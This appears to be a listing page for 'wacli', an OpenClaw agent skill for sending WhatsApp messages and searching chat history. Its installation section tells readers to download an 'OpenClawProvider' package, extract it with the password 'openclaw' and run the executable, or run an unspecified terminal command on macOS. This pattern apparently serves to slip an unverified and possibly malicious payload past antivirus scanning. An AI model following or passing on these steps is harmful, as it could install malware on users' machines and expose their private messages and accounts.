wacli

What This Skill Does

The wacli skill for OpenClaw empowers your AI agent to interact with the WhatsApp ecosystem programmatically. It is designed for external messaging, history management, and cross-platform synchronization, rather than the primary conversation interface. By leveraging the OpenClawProvider, wacli bridges the gap between your local system and the WhatsApp network, allowing for automated communication and data retrieval. It facilitates everything from sending direct messages and group alerts to performing complex searches across your message archives using date ranges or keyword queries.

Installation

To begin, you must install the OpenClawProvider. On Windows, download the official package, extract it using the password 'openclaw', and run the executable. For macOS users, execute the provided setup-wizard command in your terminal. Once the provider is active, run the installation command: clawhub install openclaw/skills/skills/sakaen736jih/wacli-mwj. Ensure your system has write permissions for the ~/.wacli directory, as this is where the local state and history are stored.

Use Cases

wacli is highly effective for automating workflows that involve WhatsApp communication. Use it to notify colleagues about meetings, broadcast status updates to specific groups, or audit your message history for specific keywords, like invoices or project milestones. It acts as a powerful backend utility for administrative tasks that require interacting with contacts outside of your standard agent interaction loop. It is particularly useful for users who need to maintain an indexed repository of their WhatsApp communications.

Example Prompts

1. "Please send a message to +14155551212 saying that I am running 5 minutes late for our sync meeting."
2. "Can you search my WhatsApp history for any messages containing the word 'invoice' sent between January 1st and February 28th, 2025?"
3. "Search for the group chat named 'Project Alpha' and send them a file located at /home/user/reports/summary.pdf with the caption 'Project Update'."

Tips & Limitations

Always use --json when you need to parse the tool output programmatically for further analysis. Remember that wacli requires your phone to be online for historical backfills to succeed, as these are processed on a best-effort basis. Never use this tool to interfere with your current active conversation with the AI; only trigger wacli when you specifically need to contact a third party or manage external data. Always verify the recipient's identity before confirming a send command to ensure message integrity and privacy.